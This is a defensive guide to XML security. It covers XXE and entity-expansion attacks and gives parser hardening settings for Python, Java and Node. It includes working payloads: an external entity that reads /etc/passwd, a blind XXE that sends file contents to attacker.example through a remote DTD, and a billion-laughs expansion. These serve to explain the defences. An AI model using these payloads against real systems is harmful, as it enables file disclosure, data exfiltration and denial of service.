XML security: XXE and entity expansion

How an external entity reads a local file or makes a request, billion laughs and quadratic blowup, the parser settings that stop both, and the other XML-specific limits worth setting.

External entities

<?xml version="1.0"?>
<!DOCTYPE order [
  <!ENTITY secret SYSTEM "file:///etc/passwd">
]>
<order>
  <note>&secret;</note>
</order>

When the parser expands &secret;, it reads a local file and places its contents in the document. If the application echoes the parsed value anywhere, the file is exfiltrated. The same technique reaches internal HTTP endpoints, which turns a document parser into a server-side request forgery primitive.

<!-- blind XXE: no echo needed, the value is sent by the parser itself -->
<!DOCTYPE order [
  <!ENTITY % file SYSTEM "file:///etc/hostname">
  <!ENTITY % dtd SYSTEM "http://attacker.example/evil.dtd">
  %dtd;
]>
<order>&send;</order>

<!-- evil.dtd on the attacker's server
     <!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.example/?%file;'>">
     %all;
-->

Entity expansion attacks

<!-- billion laughs: ten levels of ten, a few hundred bytes becomes gigabytes -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>
AttackMechanismEffect
Billion laughsNested entity definitions expand exponentiallyMemory exhaustion in seconds
Quadratic blowupOne large entity referenced many timesMemory grows with input size squared
External entity (XXE)A SYSTEM entity points at a file or URLFile disclosure or SSRF
Parameter entity in DTDThe DTD itself fetches a remote resourceOutbound request you did not intend
XIncludeAn include directive pulls in another documentSame class of disclosure
Huge depthDeeply nested elements with no DTDStack exhaustion in a recursive parser
XPath injectionUser input concatenated into a queryBroadens the result set beyond what was intended

The settings that fix it

# Python: defusedxml replaces the standard parsers
from defusedxml import ElementTree as DET

# DTDs, entities and XInclude are all disabled by default here
root = DET.fromstring(untrusted_xml)
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setFeature("http://xml.org/sax/features/external-general-entities", false);
f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
f.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
f.setXIncludeAware(false);
f.setExpandEntityReferences(false);
// Node: expat-based parsers take an explicit DTD switch
import { XMLParser } from "fast-xml-parser";

const parser = new XMLParser({
  processEntities: false,      // do not expand entities
  htmlEntities: false,
});

// never pass a document to a parser that can resolve external resources
// without first disabling them explicitly
  1. Disable DOCTYPE declarations entirely wherever the content is untrusted. Most APIs never need them.
  2. If you must allow DTDs, disable external general and parameter entities and external DTD loading.
  3. Turn off XInclude unless the format genuinely uses it.
  4. Cap the input size before parsing, not after: a size check on the parsed tree is too late.
  5. Cap the nesting depth in your own recursion, in addition to any parser limit.
  6. Set a total entity expansion limit if the library offers one.
  7. Reject documents with an unexpected root element or namespace, which is cheap and stops most probes.
⚠️
Every XML parser has its own defaults and they change between versions. Verify the behaviour with a test fixture that contains a harmless external entity, and fail the test if the entity resolves — that is the only reliable way to know a library upgrade did not reopen the hole.

FAQ

Is JSON Schema vulnerable to the same attacks?
There is no entity expansion in JSON, so the classic attacks do not apply. A large or deeply nested JSON document can still exhaust memory, so size and depth limits are still required.
Does validating against an XSD prevent XXE?
No. The parser processes the DTD and entities before validation, so the damage is done while reading. Harden the parser, not just the schema.

Parsing XML in code: DOM, SAX and pull parsers XML in configuration files

Last refreshed 2026-09-18.